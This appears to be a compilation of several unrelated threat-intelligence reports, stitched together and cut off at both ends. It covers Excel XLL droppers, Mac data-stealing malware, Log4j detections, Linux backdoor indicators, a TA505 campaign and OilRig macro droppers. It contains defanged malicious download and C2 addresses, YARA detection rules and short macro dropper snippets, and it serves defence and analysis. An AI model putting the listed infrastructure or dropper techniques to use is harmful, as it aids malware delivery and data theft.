that the service and any unspent balances will soon be migrated over to a new location. Many people seem to equate spending time, money, and effort to investigate and prosecute cybercriminals with the largely failed war on drugs, meaning there is an endless supply of up-and-coming crooks who will always fill in any gaps in the workforce whenever cybercriminals face justice. While that may be true for many low-level cyber thieves today, investigations like these show once again how small the cybercriminal underground really is. It also shows how it makes a great deal of sense to focus efforts on targeting and disrupting the relatively small number of established hackers who remain the real force multipliers of cybercrime.
# Office Documents: May the XLL Technique Change the Threat Landscape in 2022? **November 16, 2021** ## Introduction Contrasting the malware delivery is hard. Cyber attackers evolve their techniques frequently, but a major trend remained constant: Microsoft Office and Excel documents represent the favorite delivery method many cyber criminals use to inoculate malware into private and public companies. This technique is extremely flexible, and both opportunistic and APT actors abuse it. In the last months, we monitored with particular attention several attack waves adopting a new delivery technique: binary libraries directly loaded by Microsoft Excel, just in one click. This emergent delivery technique leverages XLL files, a particular file type containing a Microsoft Excel application ready to be loaded. This Microsoft Office exploitation method is silently abused in many attack waves around the world, but recently, this new emergent technique landed in Italy too. In fact, we observed cybercriminal campaigns leveraging XLL files against manufacturing companies. For this reason, the Yoroi Malware ZLab decided to dig inside this technique providing a bird view of the evolution of malicious office file techniques and a detailed analysis of this new method abused by cyber-criminals. ## Technical Analysis ### The Timeline Before 2017, the most email-based attacks were based on VBA macro weaponized Office documents. The VBA macro scripts are legit tools allowing users to automate some elementary operations in complex documents. However, due to that capability to execute code, attackers create obfuscated payloads to download and execute other malicious stages. In 2017, two critical exploits were released to the public, and attackers extensively adopted them in widespread spam campaigns: CVE-2017-0199 and CVE-2017-11882. - **CVE-2017-0199** allows an attacker to download and execute malicious HTA files from the internet, due to a flaw in the handling and parsing of OLE Objects inside the malicious document. - **CVE-2017-11882** is a remote code execution vulnerability allowing the attacker to execute a shellcode embedded inside the malicious document, due to a flaw in memory handling of the Equation Editor component, present inside all Office applications. We tracked this technique in many reports, and we noticed that it has been used for many years thanks to its adaptability through malware operations. It was used both in APT and cybercrime operations. Then, between 2018 and 2020, we observed new spikes of VBA macro adoption in malicious documents. In this period, the attackers improved the obfuscation of the payloads, adding a large number of intermediate dropping stages, composed of many different types of technologies and scripts. In the beginning of 2020, many attackers started to adopt a new technique, the exploitation of the XLM Macro 4.0 scripts, a legacy technology present in Microsoft Office since 1992 and compatible from Windows 3.1 to the newest versions. The recent analysis and detections revealed that this kind of scripts are extremely effective in evading antivirus detection. So, malware writers decided to improve this technique creating a hybrid approach combining the usage of both XLM macro and VBA ones as well. That behavior boosted and it is widely used since today. Along the XLM and classic macros, in the middle of 2021 something is changing: threat actors are starting to use the XLL files. ### The XLL Dropper A malicious attack using the XLL vector starts with the delivery of a malicious file with the extension “XLL”. It is the Excel Add-In file, which provides a way to use third-party tools and functions within Microsoft Excel. The third-party code can be C/C++ .NET code inside the Excel environment. In fact, despite the Excel icon, the XLL file is a Dynamic Linked Library, a binary executable file. For instance, the XLL sample file has the following static information: - **Hash**: 994013d66ae20cfa4ef1097d73481b00a672131d0de44d79a04ff12f492aae55 - **Threat**: XLL Dropper - **Brief Description**: Malicious XLL file, dropping several payloads - **SSDEEP**: 12288:70Ws7IMtR4yVld8bzbBSreqhgFK/UqWdP:70bdkX1CcLd The sample has been weaponized by using the open-source tool named Excel-DNA available on GitHub, which works by adding an executable resource inside the file compressed with LZMA algorithm. The retrieval of the payload can be performed manually by extracting the resource using an archive manager tool compatible with LZMA algorithm. In detail, the payload is stored in the PE resource with the properties "Assembly LZMA", so we were able to extract it and decompress it. ### The DLL Payload The payload executed inside the XLL file is another DLL file, having the following static information: - **Hash**: 8f9dcf822dd8f22dd3c21f0798e97554a24b05a0fa3065d2580933ff4af29a6d - **Threat**: .NET dll embedded payload - **Brief Description**: Payload contained inside the XLL file. - **SSDEEP**: 96:mFCZXPFomsKQrdLVaBlP1WiGxB7BHjA5ASDBmq9:mFCIvKQrnanQ39HjA2on The goal of this payload is the download and execution of two other payloads from the internet. The DropURLs are obfuscated through a series of simple character manipulations. After decoding the URL, we obtained a link pointing to the Discord Content Delivery Network, widely used by cyber criminals to deliver malware. The link was not easily readable during the static inspection because it is stored in an obfuscated manner. Once decrypted with a XOR-like function, named by the malware writer “onetimepass,” it becomes readable. This decryption function is then used also to decode the second payload, which shows the same behavior. Once the two payloads have been decoded, they are loaded in memory with the reference to the legit process path “aspnet_regbrowsers.exe”. Now, the malware has prepared all the environment for the next stage of the infection, the injection phase. ### The Injection Module Like most crimeware, it adopts the injection self-defense technique, inoculating the malicious code inside one of the legit processes of the Microsoft Windows environment. The two components isolated in the previous phase have this purpose: one of them is the injection code, the other is the payload to inject inside a target process. - **Hash**: 2f4dede7501c5e406ba8063dc53c48199620197a3c925fdf193dd5134749791e - **Threat**: DLL Loader - **Brief Description**: Injects (Process Hollowing) the first payload in aspnet_regbrowsers.exe - **SSDEEP**: 1536:JKb0LsDiNcDWJ6BFwwQXXGBtFa3prSXqTNETV+kNgJ5PqNslOYu:JSeNMBA2bFa5wT9NgpA The payload contained inside the “array[2]” variable is immediately decoded from Base64 and loaded in memory thanks to the “Assembly.Load” .NET routine. The just loaded DLL invokes the method “WeatherApp,” which accepts three arguments: the path of aspnet_regbrowsers.exe, an empty string, and the first payload (array[0]). This module is an additional DLL loaded with process hollowing techniques. ### The Payloads Since its initial distribution, we monitored the malicious drop URLs to track any changes to the delivery infrastructure. We tracked a series of XLL files having the same behavior, and they leverage Discord CDN to vehiculate other different payloads. The first one is AgentTesla. - **Hash**: 50d645e57a915baf4db98b6476681dce65d809e84f2c72eff0d6db4b10fd28d0 - **Threat**: AgentTesla Stealer - **Brief Description**: Obfuscated AgentTesla - **SSDEEP**: 3072:Q9Wgl88xIaXntoTAKeNGUsE1M+IJkE0oU6btrJ58low2wefpxSqL8cQWxQq8E3zH We were able to immediately identify the main routine of this sample. Besides that sample, we retrieved other XLL samples having the same infection chain, and it is a Formbook/XLoader payload. - **Hash**: 64a668add3d7f3bbcc0ef6acb25529c70df773d74e7e17a4a8fd8c95e81ee8bd - **Threat**: Formbook - **Brief Description**: Formbook payload retrieved in a second time from the drop URL - **SSDEEP**: 3072:W7psS2npp9ymO/pw4imY0bXkN6edhTDYEUvCJ6Trad+:Wu/emIpwdrTN6edhvYdg6fR After an intensive debugging session, we isolated the routine aimed at decoding the shellcode to be injected into the explorer process. - **Hash**: 7f1f224a14a2e412a8c22535fc584c31bbcfe41241eb794c605c91987996d62e - **Threat**: Dridex - **Brief Description**: Dridex dropper - **SSDEEP**: 768:ceQJmg+fxfveZ5RI3dO1+IpwY5xW04HPJ4hLqm9NdUPhnutmbX+NFw2WP0t9gE53:6f+f9eZzx++5SHhQ+qTciMIgAmw We also found another interesting campaign hitting Italy and leveraging the XLL file-format. This time, it implements the “xlAutoOpen” export function in native C++ language, executing the malicious code in a similar manner to the “AutoOpen” function in the canonic VBA Macro. This dropper downloads a second payload: a DLL file able to load Dridex malware. ## Conclusion Delivering malware through weaponized Microsoft Office files is incredibly effective from the attacker perspective, so new delivery techniques and the evolution of the strategies abused to inoculate malicious code inside company assets through this vector is a serious risk. Monitoring and responding to new, emergent cyber-criminal trends is a key part of what we do in Yoroi’s Malware ZLAB, ensuring intelligent and adaptive protection to Yoroi customers. The increasing adoption of XLL files in Excel-based attack campaigns is a warning signal telling us that cyber offenders are evolving to ensure their damage capabilities, pointing us in the direction to forecast new potential explosions of diversified malicious email waves in 2022. ## Indicator of Compromise - **Hash**: - 994013d66ae20cfa4ef1097d73481b00a672131d0de44d79a04ff12f492aae55 - 8f9dcf822dd8f22dd3c21f0798e97554a24b05a0fa3065d2580933ff4af29a6d - 2f4dede7501c5e406ba8063dc53c48199620197a3c925fdf193dd5134749791e - 50d645e57a915baf4db98b6476681dce65d809e84f2c72eff0d6db4b10fd28d0 - C011cd7891e9668deaf83ebf396132d5ada8d8510a1d6853af748432a5280911 - 64a668add3d7f3bbcc0ef6acb25529c70df773d74e7e17a4a8fd8c95e81ee8bd - 2bebba83d0caec961116d39f9f52dbb2277c937ceef88326b34b646de3763fd0 - **Drop URL**: - hxxps://cdn.discordapp.com/attachments/899351847805018123/899351889978748958/ascii.]txt - hxxps://cdn.discordapp.com/attachments/901544852150427722/901953881720901683/tSq3sp.]txt - hxxps://cdn.discordapp.com/attachments/897597296584298507/897960862311120917/Wiovms.]txt - **C2 (AgentTesla SMTP)**: - sales[@[bswaterenergy[.com - lnfo[@[aothailand[.com - **C2 (Formbook)**: - art-space[.xyz/c8te/ ## Yara Rules ### rule generic_xll_x32 ```yara { meta: description = "Yara rule for generic x32 xll files" author = "Yoroi Malware ZLab" last_updated = "2021-05-11" tlp = "white" category = "informational" strings: $STR1 = { 56 57 33 ff 80 3d ?? ?? ?? ?? 00 74 ?? 8b 15 ?? ?? ?? ?? 85 d2 75 ?? e8 ?? ?? ?? ?? 8b f0 8b ce e8 ?? ?? ?? ?? 8b 15 ?? ?? ?? ?? 0f b6 c0 66 85 c0 0f 45 d6 89 15 ?? ?? ?? ?? 74 ?? 8b 42 10 85 c0 74 09 ff d0 c6 05 ?? ?? ?? ?? 01 e8 ?? ?? ?? ?? a1 ?? ?? ?? 85 c0 75 ?? e8 ?? ?? ?? ?? 8b f0 8b ce e8 ?? ?? ?? ?? 0f b6 c8 a1 ?? ?? ?? ?? 66 85 c9 0f 45 c6 a3 ?? ?? ?? ?? 74 ?? 8b 40 08 85 c0 74 ?? ff d0 0f b7 f0 e8 ?? ?? ?? ?? 5f 66 8b c6 c6 05 ?? ?? ?? ?? 00 c6 05 ?? ?? ?? ?? 01 5e c3 } condition: $STR1 and uint16(0) == 0x5A4D } ``` ### rule malicious_dll ```yara { meta: description = "Yara rule for the malicious dll file extracted from a xll file" author = "Yoroi Malware ZLab" last_updated = "2021-05-11" tlp = "white" category = "informational" strings: $bytes_1 = { 00 02 0E 0E 0E } $bytes_2 = { 17590C2B17070608 } $bytes_3 = { 0817590C081530E5 } $bytes_4 = { 072A??026F1?0000 } $bytes_5 = { 6A72??0?0070280? } $mscoree = { 6D 73 63 6F 72 65 65 2E 64 6C 6C } condition: all of them and uint16(0) == 0x5A4D and filesize < 20KB } ``` This blog post was authored by Luigi Martire, Carmelo Ragusa, and Luca Mella of Yoroi Malware ZLAB.
# Digitally Signed Data-Stealing Malware Targets Mac Users in “Undelivered Courier Item” Attack By Paul Ducklin 21 Jan 2014 Our colleagues at SophosLabs pointed us at an interesting item of malware, namely a data-stealing Trojan aimed at Mac users. It was one of those “undelivered courier item” emails linking to a dodgy web server that guessed whether you were running Windows or OS X and targeted you accordingly. You’re probably familiar with “undelivered item” scams. The idea is surprisingly simple: you receive an email that claims to be from a courier company having trouble delivering your article. In the email is a link to, or an attachment containing, what purports to be a tracking note for the item. You are invited to review the relevant document and respond so that delivery can be completed. We’ve seen a wide variety of courier brands “borrowed” for this purpose, including DHL, the UK’s Royal Mail, and even a made-up courier company called TNS24, featuring amusingly ill-Photoshopped planes, ships, and automobiles. A competently executed courier scam can be fairly convincing, especially if the criminals behind it know enough about you to create a targeted attack. Even a modest amount of detail can do the trick. For example, the crooks will sound more believable if they know your address and phone number, are aware of what you do in your job, and have a general idea about some of the projects you are working on right now. Of course, if you open the attachment or click on the link in one of these scams, you are immediately put into harm’s way: the attachment might try to trigger an exploit in your unpatched copy of Word, or the link might attack an unpatched Java plugin in your browser. Here’s what the emails looked like in this attack, with some details changed or redacted for safety: > We wish to inform you that we have a pending parcel for the past 10 days bearing your name Mr. Jonathan Sidebottom, with parcel number (MV-45-QA566). The parcel was sent for delivery to the below mentioned address, but nobody was there to receive it. Your parcel content has a set of engineering documents, which was discovered during our security checks of parcels brought into our head office. So, we are sending you a scanned copy of that parcel. Give your positive response if it belongs to you. If you are a native speaker of English, you will notice that the wording of the email is clumsy and unidiomatic, and if you were to receive a message like this, you might well be suspicious on those grounds alone. But if Mr. Sidebottom really is in the engineering business and regularly deals with inbound documents from courier companies around the world, an email of this sort could easily pass muster. The link, of course, doesn’t really lead to fedex.com.ch, but instead takes you to a domain name controlled by the attackers. If you are on a mobile device, the server delivers an error message. If you are using a desktop browser that isn’t Safari, you receive a ZIP file containing a Windows program detected by Sophos Anti-Virus as Mal/VBCheMan-C, a vague relative of the Zbot or Zeus malware. But if you are using Safari, you receive Mac malware, delivered as an Application bundle packaged inside a ZIP file. By default, on OS X 10.9.1 (the latest update to Mavericks), Safari directly downloads the file, showing you an empty Safari window with the icon of the downloaded file in the Dock at the bottom of the screen. Clicking on the download button shows you what looks like a PDF file. There is no PDF file, as a visit to the Terminal quickly reveals. Safari has automatically unzipped the download, producing an Application bundle that has deliberately been given a PDF icon. As you can imagine, the temptation is to click on what looks like a PDF file to see what it contains. OS X does try to advise you that you aren’t opening a document, although you can argue that the warning would be more compelling if it explicitly said that you were about to “run a software program,” rather than merely to “open” the file. Note that you don’t get a warning about the App being from an “unknown developer” because it is digitally signed, something that happens surprisingly often with modern malware. The quantity of digitally signed malware in circulation prompted Microsoft to publish a recent blog post with the uncompromising title “Be a real security pro – Keep your private keys private.” In that article, Microsoft documents a malware family it calls “Winwebsec” of which it has more than 15,000 digitally signed samples, signed with 12 different stolen keys. If you do click the [Open] button, nothing seems to happen: you end up back at the desktop with your email software open and an empty Safari window in front of it. But a trip back to the Terminal shows that what looked like a PDF file is now running in the background as a process named foung. As it happens, foung, like its counterpart delivered to Windows computers, is a bot, short for “robot malware,” detected by Sophos Anti-Virus as OSX/LaoShu-A. LaoShu-A as good as hands control of your Mac over to the attackers, but its primary functions appear to be more closely associated with data stealing than with co-opting you into a traditional money-making botnet. In other words, the attackers seem more concerned with digging around on your computer for what they can steal than with abusing your computer and your internet connection to aid and abet other cybercriminal activities. Amongst other things, LaoShu-A contains code to: - Search for files with extensions such as DOC, DOCX, XLS, XLSX, PPT, and PPTX. - ZIP those files. - Upload (exfiltrate) them to a server operated by the attackers. However, this RAT also knows how to: - Download new files. - Run arbitrary shell commands. For example, during our tests, LaoShu-A downloaded a second application that took a screenshot with OS X’s built-in screencapture command and tried to exfiltrate the image it had just grabbed. But the behaviour of that second application can be varied by the attackers at any time, which is why, in our recent podcast, Understanding Botnets, SophosLabs expert James Wyke warned as follows: > Without analysing the full network capture of the entire interchange between a bot and the person controlling it, you can't say for sure exactly what that bot might have done... it might go and download some completely different piece of malware which carries out a completely different set of functionality. James went on to recommend: > Be more suspicious of things you get in e-mail. E-mail is still one of the most common ways people get infected, and it is predominantly through social engineering attacks... So when you receive an e-mail from someone you've never heard of before, or you've never communicated with before, and there's some interesting attachment to the e-mail or [a link to click], ...don't do that! That's one of the most common ways people get infected. Let’s hope this malware reminds OS X users of a few simple truths that some Mac fans still seem willing to ignore: - Mac malware is unusual, but not impossible. - Data thieves are interested in what Mac users have on their computers. - Malware writers can often get their hands on digital certificates to give software a veneer of respectability and to bypass operating system warnings. - Mac malware doesn’t have to ask for a password before running. - Mac malware can run directly from a download without an installation step. - Bots and RATs are particularly pernicious because they can update and adapt their behaviour after you are infected. As always, prevention is better than cure. And that “undelivered courier item” almost certainly doesn’t exist. **Free: Sophos Anti-Virus for Mac Home Edition** Sophos for Mac stops threats for Windows and Mac alike, protecting you and those you share files with. Choose from blocking viruses in real time (on-access protection), scanning at scheduled times, or running a check whenever you want. Free download, no registration required, no expiry date.
# Apache Log4j Zero-Day Being Exploited in the Wild Symantec products will protect against attempted exploits of critical CVE-2021-44228 vulnerability. **UPDATE December 20, 2021:** The Apache Software Foundation has released a patch for a third vulnerability in Log4j. Version 2.17.0 of the software was released on December 17 after issues were discovered with the previous release (2.16). Apache said that 2.16 does not always protect from infinite recursion in lookup evaluation and is vulnerable to CVE-2021-45105, a denial of service vulnerability. **UPDATE December 15, 2021:** Apache has patched a second vulnerability in Log4j. The vulnerability (CVE-2021-45046) arises from the fact that the fix for the previous vulnerability (CVE-2021-44228) did not completely prevent exploits in all circumstances. According to Apache, the vulnerability occurs in certain non-default configurations. It could permit attackers to “craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack.” A zero-day vulnerability (CVE-2021-44228) has been discovered in Apache Log4j which, if exploited, could permit a remote attacker to execute arbitrary code on vulnerable systems. Exploit code for this vulnerability, dubbed Log4Shell, has been shared publicly and multiple attackers are already attempting to exploit it. **Q: Will Symantec protect against exploit attempts?** **A:** Yes, Symantec products will guard against exploit attempts and payloads with the following detections: **File-based** - Trojan.Maljava - CL.Suspexec!gen106 - CL.Suspexec!gen107 - CL.Suspexec!gen108 - Miner.XMRig!gen2 - Ransom.Khonsari - Ransom.Tellyouthepass - Ransom.Tellyouthepa!g1 - Ransom.Tellyouthepa!g2 - Linux.Kaiten - Trojan Horse **Machine learning-based** - Heur.AdvML.C **Network-based** - Attack: Log4j2 RCE CVE-2021-44228 - Attack: Log4j2 RCE CVE-2021-44228 2 - Attack: Log4j CVE-2021-45046 - Attack: Malicious LDAP Response - Audit: Log4j2 RCE CVE-2021-44228 - Audit: Malicious LDAP Response - Audit: Suspicious Java Class File Executing Arbitrary Commands **Email-based** Coverage is in place for Symantec's email security products. Symantec Data Center Security provides a range of protection for server workloads against this vulnerability: - Prevention policies prevent malware from being dropped or executed on the system. - Ability to block or limit LDAP, http, and other traffic from server workloads and containerized applications using Log4j to internal trusted servers. - Prevention policies sandboxing provides protection from remote code execution by preventing execution of dual use tools, credential theft, and protecting critical system files and resources. **Web-based** WebPulse observed traffic is currently protected for the Log4jShell vulnerability through normal processes. **Q: What is the significance of this vulnerability?** **A:** Apache Log4j is a java-based logging utility. It is widely used in cloud and enterprise software services. The fact that an exploit was discovered prior to the creation of a patch only heightens the severity of the threat. **Q: Has the vulnerability been patched?** **A:** Yes, users are advised to update to version 2.15.0 immediately. Apache has also provided mitigation advice for users of earlier versions. **Q: Is this vulnerability being exploited in the wild?** **A:** Yes. Exploit code is publicly available and there are multiple reports of exploit attempts. To date, activity appears to be mainly centered on coin mining botnets but it is only a matter of time before attackers of all types attempt to leverage this exploit. **Protection/Mitigation** For the latest protection updates, please visit the Symantec Protection Bulletin. **About the Author** Threat Hunter Team Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
# Linux Platform ## SHA-256 - 003f4431743b69894b5d7988e53a37a7bad0b9cfe4248153e477b572af081786 - Backdoor.Linux.HELLOBOT.B - 0f67c729100cb4872d56830ef5907448eddb9a34dac14f8ff62aece5d947c0a0 - Backdoor.Linux.HELLOBOT.B - 11edea24abac633b9e7b8aae0965cd9cb56834a32d73d8bfe4fd1c009755f640 - Backdoor.Linux.HELLOBOT.B - 18698365a4ba96d1a918f61b988291fc9eed80615518a72826b0bb92c6c90a06 - 1901008555ebe8cbd511f9e9dac40d59286556a46a372532bc124cfe231d9689 - Backdoor.Linux.HELLOBOT.B - 2dd033d67ebed75bc5a2de24835bfd2440df98e4f3dc946b385cad6992e1aafe - Backdoor.Linux.HELLOBOT.B - 466bfc2f13ca97dc805f6d48d28a8a1b96d250f919b3e9cc8d55b88bf24c3ecc - Backdoor.Linux.HELLOBOT.B - 51371a402a13a4cdff55c79d52f2e560c46ca72ce7b4edf9ae55a721448a4512 - Backdoor.Linux.HELLOBOT.B - 575d44db142d2ef2e280ecfafeacd4eb9e6562102426032080584e769086d774 - Backdoor.Linux.HELLOBOT.B - 5bf94e591b100f7006d10197008675f3db3862e8bbef6e88107063cb6c858122 - Backdoor.Linux.HELLOBOT.B - 68196d13e1e5e900eb6cffdbf5517c564905440fe76b0197ff44a505b4f48c13 - Backdoor.Linux.HELLOBOT.B - 69fa10bf283474ca53295e0a7eff2fc07373092c1031581b748dce8aef7b6aea - Backdoor.Linux.HELLOBOT.B - 6cc526fb8cd43f38011b46a2c0aea9905bd1ba554d2c4df950b370a95d0eda8d - Backdoor.Linux.HELLOBOT.B - 70c3fd8ac880ffab91db3c81456639f226cf9a7ec8a851ad72406d7ddcc629d9 - Backdoor.Linux.HELLOBOT.B - 778ee62d1df9f7bf5183e1d2f95ec4036bf5be80074ca333f4d4e85bee937c1c - Backdoor.Linux.HELLOBOT.B - 79b8b383c848bbf940111eca00ddc47a0e8e9ac74ac006077cecb925a971d618 - Backdoor.Linux.HELLOBOT.B - 79efad9e9b272a2cea0d328a881c7f6a1933b41a7d1468549dfc60c83a31037f - Backdoor.Linux.HELLOBOT.B - 8388c17ce29399175c60bf689358e033eb03a696007e5856725bd0c205629436 - Backdoor.Linux.HELLOBOT.B - 951c97fa34c0f84d85ab7b9879860444f57e58d685156abe3d2a9a2f502fae7d - Backdoor.Linux.HELLOBOT.B - 960459363583458fa220540eb84cb73af157b03f835b4bf34b986ee4c3afe704 - Trojan.Linux.XNOTE.A - 9f40d4d53222e229a58c20473abaef7c0648c19fd0f13eb0f9ec841ed18f6ff3 - Trojan.Linux.XNOTE.A - a5047dfc3e89935b982c4b5df91b56ae5e9d0bb557f84ef791352e54ab0077c2 - Trojan.Linux.XNOTE.A - a7776eb4512d08e594854215aead32c4480091a7ca14870b793c290f1e36cfdb - Trojan.Linux.XNOTE.A - b26ec8e98e05dc54779c1c91a9cf31aa40d757569074346548facdddd79c02fb - Trojan.Linux.XNOTE.A - b33fb600d46309bafd31d3b056bbba816f5bac0f1024e774530f6c4320d3c5c2 - Trojan.Linux.XNOTE.A - bc7e80232e28c680a585c3cc1125fb10862d338e5a4b94cdfdfb954df451621d - Trojan.Unix.TOBOXHELL.A - c718d73ffbc182c2799f3999326486c93cd59d1e04b9676edf955a1324522a2c - Trojan.Unix.TOBOXHELL.A - ca23b21cfd1fff75c3acec4c74020cfe013393983b997b3a7178f2e969b4a7bf - Trojan.Linux.PATPOOTY.AA - d890db7136f72fa367aff0d1550f04034232a2fa3d97bae3a6516e3d5dcad056 - Trojan.Linux.PATPOOTY.AA - e74632e3f010bce10de73b34f4dee68054207d7b12b1a0cf1820ce833e1b5991 - Trojan.Linux.PATPOOTY.AA - eadd6ea80e727f78e91093097b4297a88a59100fcc19299b5ce4b5280db27cdc - Trojan.Linux.PATPOOTY.AA - ebb8985880e911db8a498e20a269a00c07dbcfde2d077e88fe4b9d78a4deed7e - Trojan.Linux.PATPOOTY.AA - ec42e1562fab95d0fbc86b3980cc392e368b50a4a150a2258d4293e4de1bc730 - Trojan.Linux.PATPOOTY.AA - f646eb1685da341ccb3c1d5e4a14ae93f3271a84232708ee7234b44d4a834251 - Trojan.Linux.PATPOOTY.AA - fb5434ff3030214c672226c52bc6883bf55c3129a5ee9b78ef5b2c773f8a1101 - Trojan.Linux.PATPOOTY.AA - fd0f0841c8502dc03689ebb64dd9764e3772fc91400d1d2c9e81530bf5ad0b0f - Trojan.Linux.REKOOBE.A ## In-the-wild URLs - http://42[.]200.181.116/java - http://d[.]github.wiki/dust/amazon-hk ## C&C - 1.googie[.]ph:10050 - 1.googie[.]ph:1723 - 1.googie[.]ph:443 - 139[.]5.202[.]82:443 - 2.googie[.]ph:1723 - 2.googie[.]ph:443 - 3.googie[.]ph:5432 - bos.github[.]wiki:443 - darknet.rootkit[.]tools:8443 - dust.github[.]wiki - gb.googie[.]ph:443 - hkdust[.]github.wiki - linux[.]daj8.me:80 - linux[.]shopingchina.net:80 - linux[.]wy01.com:443 - linux[.]wy01.vip - linux1[.]shopingchina.net:80 - rootkit[.]tools - rootkit[.]tools:443 - yabo[.]googie.ph:443
# TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT **Overview** Threat actors regularly introduce novel vectors for distributing malware and especially prize those that allow code and command execution with minimal user interaction. Colleagues at SpecterOps recently published research on the abuse of the SettingContent-ms file format. Crafted SettingContent-ms files can be used to bypass certain Windows 10 defenses such as Attack Surface Reduction (ASR) and detection of OLE-embedded dangerous file formats. Specifically, this file format currently allows execution of commands such as cmd.exe and PowerShell without prompts or user interaction. Since the original publication of this approach, Proofpoint researchers have observed a number of actors—“early adopters”—abusing this file format by embedding it inside Microsoft Word and PDF documents. While the combination of the technique with the Microsoft Word container was described in the initial research, embedding inside PDFs has not been documented and likely originated with another source. **Campaign Description** We first observed an actor embedding SettingContent-ms inside a PDF on June 18. However, on July 16 we observed a particularly large campaign with hundreds of thousands of messages attempting to deliver PDF attachments with an embedded SettingContent-ms file. The messages in the campaign used a simple lure asking the user to open the attached PDF. When opened, Adobe Reader displays a warning prompt, asking the user if they want to open the file, since it is attempting to run the embedded “downl.SettingContent-ms” via JavaScript. Note that this prompt would be displayed for any file format embedded within a PDF and is not caused by the SettingContent-ms file itself. If the intended victim clicks the “OK” prompt to open the file, Windows would then run the SettingContent-ms file and the PowerShell command contained within the “DeepLink” element, which leads to the download and execution of the FlawedAmmyy RAT. **Attribution** This campaign is noteworthy because we attribute it with high confidence to a financially motivated actor we refer to as TA505. TA505 tends to operate at very large scale and sets trends among financially motivated actors because of their reach and campaign volumes. Our attribution is based on email messages, as well as payload and other identifying characteristics. **Conclusion** Whether well established (like TA505) or newer to the space, attackers are quick to adopt new techniques and approaches when malware authors and researchers publish new proofs of concept. While not all new approaches gain traction, some may become regular elements through which threat actors rotate as they seek new means of distributing malware or stealing credentials for financial gain. In this case, we see TA505 acting as an early adopter, adapting the abuse of SettingContent-ms files to a PDF-based attack delivered at significant scale. We will continue to monitor ways in which threat actors use this approach in the weeks to come. **Indicators of Compromise (IOCs)** | IOC | Type | Description | |-----------------------------------------------------------------------------------------|--------------|-----------------------------------| | 0a4f3f9acc61b85183108a31a306115fe34b571240da70920f0a1425fc32c3de | SHA256 | PDF Attachment | | 61b1dc4d69730dd83f7ef38dd01012fd3487a4db9eb52b024209967093ae180d | SHA256 | FlawedAmmyy Loader | | 56f1ab4b108cafcbada89f5ca52ed7cdaf51c6da0368a08830ca8e590d793498 | SHA256 | FlawedAmmyy RAT | | hxxp://169.239.128[.]164/tov | URL | URL used to download FlawedAmmyy Loader | | hxxp://169.239.128[.]164/sd87f67ds5gs7d5fs7df | URL | URL used to download the 2nd Stage FlawedAmmyy RAT | | 169.239.128[.]150:443 | IP + Port | FlawedAmmyy RAT C&C | **ET and ETPRO Suricata/Snort/ClamAV Signatures** 2025408 || ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin
# OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group By Robert Falcone and Bryan Lee July 27, 2017 at 5:00 AM Category: Unit 42 Tags: Clayside, Helminth, OilRig, OilRig attacks Unit 42 has discovered activity involving threat actors responsible for the OilRig campaign with a potential link to a threat group known as GreenBug. Symantec first reported on this group back in January 2017, detailing their operations and using a custom information stealing Trojan called ISMDoor. In July 2017, we observed an attack on a Middle Eastern technology organization that was also targeted by the OilRig campaign in August 2016. Initial inspection of this attack suggested this was again the OilRig campaign using their existing toolset, but further examination revealed not only new variants of the delivery document we named Clayslide, but also a different payload embedded inside it. In the past, we had primarily associated the OilRig campaign with using the Clayslide documents to deliver as a payload a Trojan we named Helminth; in this instance, the payload was instead a variant of the ISMDoor Trojan with significant modifications which we are now tracking as ISMAgent. ## The Attack On July 16, 2017, actors associated with the OilRig campaign sent emails to five different individuals within the targeted organization. All of the emails sent had the same subject, attachment filename, and attached Excel file (SHA256: 3eb14b6705179590f0476d3d3cbd71665e7c1935ecac3df7b876edc9bd7641b6). We identified the Excel file attached to the delivery email as a variant of the Clayslide delivery documents used by the OilRig campaign. A closer look revealed that although it was similar to previous Clayslide documents, it was also quite different in several aspects. Like the previous samples, it displays a worksheet titled “Incompatible” containing a banner that shows a fake compatibility warning message. The message is an attempt to trick the user into clicking the “Enable Content” button, which would run a malicious macro embedded within the Excel file. The macro within the delivery document will unhide and display a new worksheet that contains a fake invoice for Citrix products. This fake invoice acts as a decoy document to minimize the user’s suspicions that any malicious activity occurred. While the macro displays the decoy invoice spreadsheet, it silently runs malicious code in the background to install its payload. The malicious code starts by concatenating several base64 encoded strings into a single variable. As you can see in the following code snippet, the variable name “Paltofp1” suggests that the author of this code may want our attention: ```plaintext 1 Paltofp1 = "TVqQAAMAAAAAAEA... (truncated for brevity) ``` The macro then writes the concatenated base64 encoded data to the file %PUBLIC%\Libraries\B642.txt. It then reads in the “B642.txt” file and decodes the data, which it will save to the file %PUBLIC%\Libraries\servicereset.exe (SHA256: 52366b9ab2eb1d77ca6719a40f4779eb302dca97a832bd447abf10512dc51ed9). The servicereset.exe file is the payload of this attack, which is a variant of ISMDoor that we track as ISMAgent. The script then creates a file named %PUBLIC%\Libraries\OfficeServicesStatus.vbs which contains a VBScript that will execute the “servicereset.exe” file using the command line. Lastly, as a persistence mechanism, a scheduled task named “OfficeServicesStatus” will be created, set to run every three minutes. ## An Iterative Task While hunting for other samples similar to the one observed in the attack against the technology organization, we discovered yet another variant of Clayslide (SHA256: 5ac939a5426db8614165bd8b6a02d3e8d9f167379c6ed28025bf3b37f1aea902). This sample was dated June 2017, a month older than the newest version containing ISMAgent. Based upon timestamping and similarities with both the original Clayslide documents as well as the newest ISMAgent loaded ones, we believe this June 2016 sample to be an iterative version of Clayslide. The June 2017 sample of Clayslide contained the same OfficeServicesStatus.vbs file found in the ISMAgent Clayslide document, but instead of having the payload embedded in the macro as segregated base64 strings that would be concatenated, this variant obtained its payload from multiple cells within the “Incompatible” worksheet. This technique was observed in previous Clayslide documents to access the script variant of the Helminth Trojan in earlier OilRig attacks. Also, the June 2017 sample contained artifacts observed in previous Clayslide documents. Specifically, we found this comment: ```plaintext source code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacks_against.html ``` along with the following common function names within the macro code: ```plaintext 1 Private Sub Workbook_Open() 2 Call fireeye_init 3 Call fireeye_showHideSheets 4 End Sub ``` Although structurally the document was more similar to the originally discovered Clayslide documents, this June 2017 sample was designed to load ISMAgent instead of Helminth. We do not have targeting details for this sample, although the decoy document contained a similar theme to the newest Clayslide document, displaying vendor related information. A table displaying the 